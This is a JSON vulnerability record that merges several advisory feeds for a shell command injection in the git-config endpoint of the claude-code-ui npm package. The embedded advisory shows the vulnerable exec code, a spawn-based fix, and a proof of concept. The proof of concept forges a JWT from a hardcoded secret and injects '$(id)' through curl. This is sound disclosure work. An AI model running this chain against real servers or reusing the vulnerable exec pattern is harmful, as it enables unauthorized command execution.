{"id":"CVE-2026-31861","aliases":["EUVD-2026-11263","GHSA-7fv4-fmmc-86g2"],"status":"published","title":"Shell Command Injection in Git Routes [CloudCLI UI]","description":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.06848,"percentile":0.94126,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-03-10T23:57:23Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"npm","package":"@siteboon/claude-code-ui","fixed_in":["1.24.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@siteboon/claude-code-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.23.0"},{"fixed":"1.24.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@siteboon/claude-code-ui","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.24.0"}]}]}],"products":[{"vendor":"cloudcli","product":"cloud_cli"},{"vendor":"siteboon","product":"claudecodeui"}],"references":[{"url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31861","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7fv4-fmmc-86g2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31861.json","tags":["advisory"]},{"url":"https://github.com/siteboon/claudecodeui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-31861","title":"Shell Command Injection in Git Routes [CloudCLI UI]","description":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","status":"published","published":"2026-03-11T17:22:10.111Z","modified":"2026-03-12T14:07:17.766Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:19:50.92611Z"}],"euvd":[{"id":"EUVD-2026-11263","description":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","status":"published","published":"2026-03-11T17:22:10Z","modified":"2026-03-12T14:07:17Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:36.272941Z"}],"ghsa":[{"id":"GHSA-7fv4-fmmc-86g2","title":"@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes","description":"# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```","status":"published","published":"2026-03-10T23:57:23Z","modified":"2026-03-11T20:45:18Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-31861","description":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","status":"published","published":"2026-03-11T18:16:24.887Z","modified":"2026-06-17T10:34:39.1Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-31861","title":"Shell Command Injection in Git Routes [CloudCLI UI]","description":"Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.","status":"published","published":"2026-03-11T17:22:10.111Z","modified":"2026-10-28T02:30:35.306010322Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"GHSA-7fv4-fmmc-86g2","title":"@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes","description":"# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```","status":"published","published":"2026-03-10T23:57:23Z","modified":"2026-03-13T10:56:25.434892Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:41.002603Z"}]}}